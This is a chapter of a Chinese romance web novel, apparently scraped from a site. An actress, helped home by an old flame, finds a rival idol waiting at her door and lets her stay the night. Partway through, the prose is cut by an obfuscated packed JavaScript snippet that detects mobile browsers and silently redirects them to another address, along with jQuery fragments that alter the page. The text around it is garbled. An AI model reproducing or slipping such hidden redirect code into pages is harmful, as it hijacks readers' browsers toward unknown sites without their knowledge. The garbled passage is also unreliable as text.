就算哭闹了一整晚,小星星最终还是沉沉地睡去。
安寒去卫生间洗了一块热毛巾,将他脸上的泪痕和脖颈的细汗擦干净。
做完这一切,她就着微弱的灯光,俯身在他的小脸蛋上轻轻地落下一个晚安吻。
他小小的身子蜷缩着,抱着自己的阿贝贝呼吸平稳而柔软。
安寒压下心中无限的情绪,伸手轻碰了一下他的指尖。
关上卧室的门走到客厅,陈少季正在厨房洗碗。
他穿着一条黑色条纹的围裙,用手巾擦干净水渍,转过身看到安寒。
“我送你。”他说。
安寒今天是从彩排现场来的,司机和助理都已经回去,她也没像前几天一样自己开车,打车回去或者叫人来接都不现实,接受陈少季的好意毫无疑问是最好的选择。
只是……
安寒有些迟疑地看了一下主卧的方向。
陈少季解开围裙:“他半夜不醒的,而且我姐姐姐夫就住隔壁,不会有事的。”
听起来很安全,于是安寒点了点头,答道:“谢谢,麻烦你了。”
她客套和感恩的神情让陈少季不自觉地皱了皱眉,但他终于还是没说什么,拿了手机和车钥匙领着安寒出门。
走到屋外的院子里,安寒才发现夜晚的时候下了一阵雨,地面漆黑一片,空气中吹来的风却是凉丝丝的。
陈少季走过去发动车子,安寒上了车,坐在了副驾驶上,主动系好了安全带。
车子很平稳地上路,陈少季一边开,一边随口和她聊天。
他目视前方:“应该还有段时间才进组吧?这几天很忙吗?”
安寒将身体靠在椅背上,低低地“嗯”了一声:“过几天有个新的常驻综艺,大概要到进组前才能再来看星星。”
陈少季闻言转脸看了她一眼:“谁问你这个了…”
他将视线收回:“肖一倩怎么给你安排这么多工作,都杀青了还不给休息。”
安寒将用一只手托住脑袋,有些自嘲:“有工作接还不好?”
她的声音无端地有些凉意。
陈少季的眼睛闪了闪,没再说话。
车内陷入了很久的沉默。
每次牵扯到和过去有关的话题,他们总是很有默契地停止。
然后不再越界。
仿佛往前一步就会有人的伤口撕裂开来,弄得人措手不及又鲜血淋漓。
而这个人,可能是他们中的一个,也可能是他们中的两个。
这不是一个翻旧帐的好时机。
陈少季知道。
——
陈少季的车从后门开进了安寒的小区,停在了她的家门口。
安寒解开安全带,刚想对他道谢,却有一只手按住了她。
突如其来的温热掌心覆盖住了她冰冷的手,制止了她解开安全带的动作,让安寒不由自主地偏过头去看他。
这个有点超过的接触显然与暧昧无关,因为陈少季并没有在看她,而是看着她家门口的方向。
安寒顺着他的目光看过去,一瞬间吓出了一身冷汗。
——门口的台阶上坐着一个人。
——应该还是一个女人。
披着头发像个女鬼一样。
安寒的大脑前所未有地飞快转动着,这个房子是她租的,小区保密性很好,狗仔们进不来,房子的安保系统是陈少季的姐姐陈皎皎亲自来监工装的,用的都是国内最好的设备,平常家里多了只蚊子的呼吸她都能知道,没道理会有私生混进来堂而皇之地蹲在门口。
而陈少季就没那么客气,更是懒得思考。
男人直接调转车头,将车灯大开,照在了那个“女鬼”的身上。
那是一个很漂亮的女人。
那个女人叫做纪安然。
没错,就是那个在八卦营销号的口中和安寒大战八百回合的死对头,此时此刻正迷茫地蹲在安寒家的门口,用手遮挡着强光,cosplay着迷路女鬼。
安寒长舒一口气,拍了一下陈少季的手,示意他将大灯关了,然后解开安全带下车。
陈少季看着她的动作,并不清楚她们的私交如何,为了防止发生什么血腥的事情,他也解开安全带跟着安寒下了车。
纪安然看到自己等的人下了车,从地上站了起来,她没有安寒高,因为长相可爱,一直是大众心目中的甜美萌妹,眼下她正穿着一身单薄的连衣裙,裙摆还溅上了雨水,十分可怜的样子。
她的目光扫过安寒和她身后的男人,有点丧地鼓鼓嘴:“你约会回来了?”
“……?”
“……”
真会讲话啊孩子。
然而纪安然没有在乎对面两个人的沉默,自顾自地继续说道:“我和我经纪人吵架了,身上没带证件,翻到之前给你寄过北京特产的地址……”
她眨了眨眼睛:“我在上海没有其他认识的艺人,你能不能收留我?”
有认识的人你也不能这样去蹲人家门口啊喂!
安寒有些头痛地扶额。
这个叫做纪安然的女孩总是让安寒说不出拒绝的话。
因为她是个很可爱的天然呆。
一个对于外界喜欢也好讨厌也好都缺乏感知,似乎永远都会自顾自地活着的天然呆。
安寒和她相识于《了不起的女孩》这档节目,节目里因为纪安然性格古怪但长相实在可爱,属于人气很高但血雨腥风的选手。
有一次安寒和她出席同一个活动,有观众朝纪安然砸来矿泉水瓶并诅咒她去死。
这是很严重的现场anti事故,她们也不方便再出去互动,于是安寒和她一起在后台等着主办方的通知。
而这个可可爱爱的姑娘坐在高脚椅上晃着她的腿,低着头看上去很沮丧。
那一年的纪安然甚至还未成年,安寒看着她低落的小脑袋,有些怜惜。
安寒张了张嘴巴想要安慰她,可是她还没开口,身边的小姑娘就率先仰起了头。
她眼神清澈:“你想吃酥糖吗?”
“很好吃的,”她很认真地说:“我回去给你寄好不好?”
原来她刚刚低着头,只是在绞尽脑汁地思考安寒喜不喜欢吃酥糖。
……
安寒将屋内的灯打开,窗外传来陈少季的车子离开的声音。
纪安然跟在她的身后。
安寒给她拿了拖鞋,才发现她全身上下只有手机和一只小小的口红包。
安寒长舒一口气,在原地思索了三秒,对纪安然说:“我给你拿衣服,你先去洗澡,洗完澡出来给你的经纪人报平安。”
纪安然撇撇嘴,想要争辩什么。
然而安寒没等她开口就堵上她的嘴:“想要留在这里就要听我的,我不想被你经纪人追杀。”
纪安然沉思片刻,选择答应了这个丧权辱国的条约,穿着拖鞋“哒哒哒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271052|182300||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”地向安寒手指的卫生间方向走去。
安寒家里从未有人留宿过,所以根本没有设置客卧,客卧里堆满了杂物和品牌方送来的东西。
但好在安寒主卧里有一张展开与床无异的沙发床,纪安然洗完澡出来的时候,安寒正在满屋子给她找干净的四件套。
纪安然站在沙发床前立正三秒,提出自己的要求:“我要和你睡。”
纪安然在节目里也这样,没有巨型玩偶抱着睡觉的话她就翻来覆去睡不着,最后她的经纪人实在看不下去她到处蹭床的行为,在一次探班里把她的御用玩偶给她送来了。
如果不是很早就相识,安寒现在一定打开手机发布一条【重生之我的对家说要睡我】的微博,而现在的她只是停顿片刻,从衣柜里扒拉出一个有半人高的仙人掌玩偶扔在沙发床上。
安寒关上柜子:“将就一下睡吧,我去洗漱。”
她离开卧室的时候,转过头叮嘱道:“给你经纪人打电话。”
……
因为今天已经在陈少季家洗过澡,安寒只是用清水洗了脸刷了牙,换了干净的家居服,然后做完了一套护肤流程。
回到卧室的时候纪安然已经躺下,委委屈屈地抱着仙人掌睡在沙发床上等她。
这个场面实在诡异,但是已经容不得安寒后悔,毕竟她带着纪安然出去开房只会更诡异。
好在一切准备就绪,安寒关掉了卧室的灯光。
黑漆漆的房间内,一条有光的缝都没留。
睡不着。
想到怀里的仙人掌总觉得这个玩偶会咬人。
纪安然仰头看着天花板,像一只看夜空的呆鹅。
睡不着的时候她就想和人聊聊天。
虽然也不知道为什么她每次聊天都能把人聊生气。
但她想今天应该不会。
因为在她的印象中安寒是个脾气很好很好的人。
于是,在一片寂静中,她开口道。
“你好厉害啊……”
她想起在节目录制的时候不小心偷偷看到的那一幕,作为第一个也是唯一一个目击陈少季和安寒在节目后台吵架的人,她一直乖乖地保守着秘密。
虽然当年她也震惊于安寒那份埋藏许久的爱意,但今天看到他们依然仍有交集,感情木讷如纪安然也有一些些地为她高兴。
女孩的声音在卧室里回荡。
“好厉害。”她重复并由衷地赞扬道:“人居然可以喜欢另一个人这么久。”
然后她就看到,她的话音刚落,她旁边的床上,一道身影猛地从床上坐了起来。
安寒在黑咕隆咚的夜色里,这次像女鬼的人变成了她。
她咬牙切齿地:“纪安然,睡觉的时候不准说话。”
“……”
看来她又说错话了。
“好吧,”纪安然将被子拉上来遮住脸:“我不说话了。”
漆黑的夜色里,安寒再次躺下。
没过多久。
房间的那一侧、沙发床上的那团东西、答应不会再说话的某个人将被子拉了下来。
“那你不喜欢他了吗?”
小小的姑娘似乎总爱刨根问底。
安寒沉默着。
沉默到纪安然以为她睡着了的时候。
“……不了。”
安寒的声音轻轻地,像是在对心底深处的某个声音强调道:
“至少现在不了。”